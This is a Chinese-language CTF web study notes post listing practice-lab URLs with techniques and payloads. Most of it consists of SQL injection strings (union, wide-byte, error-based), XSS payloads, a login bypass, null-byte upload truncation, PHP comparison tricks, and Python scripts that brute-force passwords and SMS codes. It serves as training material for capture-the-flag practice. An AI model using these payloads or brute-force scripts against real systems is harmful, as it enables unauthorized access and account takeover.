1. 程式人生 > >CTF web總結

CTF web總結

本文根據自己的做題經驗及各大練習平臺不斷更新,若我最近懶了,沒怎麼更新,請在下面提醒我或鼓勵我

僅作為自己的筆記及剛入門的童鞋,大牛勿噴

基礎篇

1.直接檢視原始碼

http://lab1.xseclab.com/base1_4a4d993ed7bd7d467b27af52d2aaa800/index.php

2.修改或新增HTTP請求頭

常見的有:

Referer來源偽造

X-Forwarded-For:ip偽造

User-Agent:使用者代理(就是用什麼瀏覽器什麼的)

http://lab1.xseclab.com/base6_6082c908819e105c378eb93b6631c4d3/index.php

//.net的版本修改,後面新增,如版本9

.NET CLR 9

Accept-Language:語言

http://lab1.xseclab.com/base1_0ef337f3afbe42d5619d7a36c19c20ab/index.php http://ctf1.shiyanbar.com/basic/header/

Cookie的修改

http://lab1.xseclab.com/base9_ab629d778e3a29540dfd60f2e548a5eb/index.php

3.檢視HTTP請求頭或響應頭

http://lab1.xseclab.com/base7_eb68bd2f0d762faf70c89799b3c1cc52/index.php http://ctf1.shiyanbar.com/basic/catch/

4.302跳轉的中轉網頁有資訊

http://lab1.xseclab.com/base8_0abd63aa54bef0464289d6a42465f354/index.php

5.檢視開發者工具控制檯

6.javascript程式碼繞過

通過刪除或修改程式碼或者本地代理改包繞過

http://lab1.xseclab.com/base10_0b4e4866096913ac9c3a2272dde27215/index.php

7.使用burp的repeater檢視整個HTTP包

http://lab1.xseclab.com/xss1_30ac8668cd453e7e387c76b132b140bb/index.php

8.閱讀javascript程式碼,直接控制檯獲取正確密碼

http://ctf1.shiyanbar.com/basic/js/index.asp

9.robots.txt檔案獲取資訊

這本來是給搜尋引擎看的資訊,很可能暴露網站結構目錄

http://lab1.xseclab.com/base12_44f0d8a96eed21afdc4823a0bf1a316b/index.php

10..bash_history,這個應該說看到過吧,就是記錄使用者輸入過的linux命令的

前端指令碼類

js加解密

http://ctf5.shiyanbar.com/DUTCTF/1.html //直接在F12控制檯貼上就有了

XSS

http://lab1.xseclab.com/realxss1_f123c17dd9c363334670101779193998/index.php

這題題目就有漏洞,直接在命令列輸入下面的就有了

$.post("./getkey.php?ok=1",{'url':location.href,'ok':ok},function(data){
			console.log(data);
        });
showkey();

當然簡單的直接輸入

<script>alert(HackingLab)</script>

這樣也可以

這題也差不多 http://lab1.xseclab.com/realxss2_bcedaba7e8618cdfb51178765060fc7d/index.php

可以直接輸入上題的那個jquery,也可以乖乖下面的

<img src="11" onerror=alert(HackingLab)>

http://lab1.xseclab.com/realxss3_9b28b0ff93d0b0099f5ac7f8bad3f368/index.php

後端指令碼類

程式碼審計

asp程式碼審計:

1.http://ctf8.shiyanbar.com/aspaudit/ 

長度限制:F12刪maxlength,或者改長度,本地代理都可以繞過

//Username:  'union  select 1,1,1 from bdmin '  ,為什麼是三列呢,一般表中都會設定id,加上賬號密碼就3個了,不行就猜4列咯...,因為union的之前的使用者名稱為空,所以前面的結果集為空,所以最後的結果集只有我們後面的1,1,1了,所以在密碼那輸入1就是密碼。

這樣也行,反正就閉合標籤   'union  select 1,1,1 from bdmin where '1'='1

php程式碼審計

1.http://ctf8.shiyanbar.com/phpaudit/ //其實這個就是修改http請求頭的X-Forwarded-For

2.http://ctf1.shiyanbar.com/web/4/index.php //跟下面的後臺登陸型第一個一樣,請看下面的後臺登陸型第一個

3.http://ctf5.shiyanbar.com/DUTCTF/index.php //二次urlencode

4.http://ctf1.shiyanbar.com/web/5/index.php //請看後臺登陸型第二個

5.http://ctf4.shiyanbar.com/web/false.php //陣列的雜湊值,都是null

6.http://ctf4.shiyanbar.com/web/Session.php //只需要在第一次提交的時候直接提交password=即可,因為第一次訪問時伺服器那邊也沒設定對應的$_SESSION['password'],由於是==比較,兩者是相等的。表單隱藏 http://ctf10.shiyanbar.com:8888/main.php

sql注入

簡單的直接上工具就ko了,如sqlmap,等-——10大sql注入工具

如下面幾個:

1.http://ctf5.shiyanbar.com:8080/9/asp.asp

2.http://ctf5.shiyanbar.com/8/index.php?id=1

當然不用and XX也是可以的,下面只是舉個例子

//手工注入過程
//判斷注入型別為and布林型注入
http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=1
http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=2
//判斷欄位數
http://ctf5.shiyanbar.com/8/index.php?id=1%20order%20by%203
http://ctf5.shiyanbar.com/8/index.php?id=1%20order%20by%202
//獲取資料庫基本資訊(//concat_ws是字串連線函式,其中第一個引數是分隔符,CHAR(58)是冒號,因為冒號的ASCII是58)
http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=2%20union%20select%201,concat_ws(CHAR(58),user(),database(),version()) 
//獲取資料庫中的表,其中table_schema可以理解為資料庫吧(他是mysql系統表裡面的一個欄位,這裡我們用16進製表示,就是上一句查詢到的資料庫)
http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=2%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=0x6d795f6462
//獲取重要表的欄位
http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_name=0x746869736b6579
//獲取表中的內容
http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=2 union select 1,k0y from thiskey

3.http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.php

密碼隨便輸入

4.http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php

payload:

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 or 1=1

5.http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1

寬位元組注入,在其他沒頭緒的時候必須考慮這個了,哎,而且題目都說過濾了

還有響應頭:Content-Type:text/html; charset=gb2312 payload http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%a0%27 or 1=1 limit 2,1%23

6.http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0&num=1

利用報錯注入

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=7&num=1 procedure analyse(extractvalue(1,concat(0x3a,database())),1)     

資料庫:mydbs

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=7&num=1 procedure analyse(extractvalue(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=0x6d79646273 limit 0,1 ))),1)

爆表

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=7&num=1 procedure analyse(extractvalue(1,concat(0x3a,(select concat(username,0x3a,password) from user limit 2,1 ))),1)

爆資料

寫點指令碼的

注意看響應頭,You must do it as fast as you can!,這個手速是不行的,必須程式設計獲取後解碼,跟著post資料:key=XXXXXXXXXXXXX

http://ctf4.shiyanbar.com/web/10.php

指令碼如下

import requests 
import base64
 
url='http://ctf4.shiyanbar.com/web/10.php' 
req=requests.get(url)
print req.text
key=req.headers['FLAG']
key=base64.b64decode(key)
key=key.split(':')[1].strip()
data={'key':key}
r=requests.post(url,data=data) 
print(r.text)

後臺登陸型

給了原始碼,主要看sql語句,註釋掉後面的and (pw='$pass'),當注意閉合小括號 payload  :user=admin')#&pass=432142

1.http://ctf1.shiyanbar.com/web/4/index.php

2.http://ctf1.shiyanbar.com/web/5/index.php

//這題可以看看asp程式碼審計第一題,你或許有思路,後面有答案滑鼠刮過即可(滑鼠選中冒號後面的空白):user=' union select 'c4ca4238a0b923820dcc509a6f75849b'  from php -- &pass=1

那個MD5是密碼1的md5

程式碼逆向

http://www.shiyanbar.com/ctf/1760

解密程式碼

$cipher = 'a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
$tmp = base64_decode(strrev(str_rot13($cipher)));
echo $tmp;
$b = '';
for ($i=0; $i < strlen($tmp); $i++) { 
	$a = substr($tmp, $i, 1);
	$b = $b.chr(ord($a)-1);
}
echo strrev($b);

上傳繞過類

http://ctf4.shiyanbar.com/web/upload  //這個注意看抓包的資料,既有路徑,又有檔名,檔名不行,就試試路徑的00截斷   /uploads/sdf.php+十六進位制的00

multipart/form-data大寫繞過

php的特性

1.數字與字串比較

var_dump( 0 == "a" ); 
var_dump( "0" == "a" );

第一個返回的是 true ,第二個返回的是 false

因為php把字母開頭的轉化為整型時,轉化為0, 前面數字後面字母的話就只取到第一個字母出現的位置之前(如intval(''123abd45gf)結果為123)

2.md5“碰撞”

因為php 0e開頭的字串都是==的,不是===哦

var_dump("0e462097431906854"=="0e83040041");

上面這個返回true,如果題目的md5是0e開頭的,你懂的

下面給一組資料吧

md5('240610708') 的結果是:0e462097431906509019562988736854 
md5('QNKCDZO') 的結果是:0e830400451993494058024219903391

240610708、QNKCDZO、aabg7XSs、aabC9RqS  

3.md5陣列

md5(array) == NULL

4.strcmp(array,string) ==

5.變數覆蓋:register_globals的意思就是註冊為全域性變數,所以當On的時候,傳遞過來的值會被直接的註冊為全域性變數直接使用,而Off的時候,我們需要到特定的數組裡去得到它。PHP4預設開啟,PHP5以後預設關閉。 還有就是extract那個函式,也可以存在變數覆蓋http://www.w3school.com.cn/php/func_array_extract.asp 6.ereg函式漏洞:00截斷 %00  

http://www.shiyanbar.com/ctf/1805  

備份檔案型別的

.bak   ultroedit....

~

.xxxx.php.swp  .xxxx.php.swo    vim

驗證碼類的

http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php

這個驗證碼的特點是,在一次會話中,下一次提交,上一次的驗證碼不會失效

import requests
 
url = "http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php"
req = requests.session()
header = {"Cookie":"PHPSESSID=9b8f8686269f5d70a44766e3c5f4dcdc"}
for pwd in xrange(1000,10000):
 
	data={'username':'admin','pwd':pwd,'vcode':'c3pe'}
 
	ret = req.post(url, data=data, headers=header)
	print ret.text
	if 'error' not in ret.text:
		print pwd
		break

http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php

程式猿:“該死的黑客,我讓你繞!我驗證一次就讓你的驗證碼失效,看你怎麼繞!”

這一關的驗證碼,驗證一次以後就失效了,但是再次提交的時候就不需要再考慮驗證碼是否正確的問題了,所以在指令碼中只要保證驗證碼為''的就可以

import requests
 
url = "http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php"
req = requests.session()
header = {"Cookie":"PHPSESSID=3c39940da50b514038b3e9971ee5f57e"}
 
for pwd in xrange(1000,10000):
	data={'username':'admin','pwd':pwd,'vcode':''}
	ret = req.post(url, data=data, headers=header)
	
	if 'error' not in ret.text:
		print ret.text
		print "good: password is:" + str(pwd)
		break
	else:
		print "try:" + str(pwd) + " and result is :"+ ret.text

http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php  跟上面一樣的指令碼

http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/

爆破再爆破,點選驗證碼再執行指令碼哦,跟著獲得另一個手機號,再獲取驗證碼,再修改手機號再執行指令碼

import requests
 
url = "http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/login.php"
req = requests.session()
header = {"Cookie":"PHPSESSID=61556a5b2a6c2a03a2f35b199cbb5364"}
for vcode in xrange(100,1000):
	data={'username':'13388886666','vcode':vcode, 'Login':'submit'}
	# data={'username':'13399999999','vcode':vcode, 'Login':'submit'}
	ret = req.post(url, data=data, headers=header)
	
	if 'error' not in ret.text:
		print ret.text
		print "good: vcode is:" + str(vcode)
		break
	else:
		print "try:" + str(vcode) + " and result is :"+ ret.text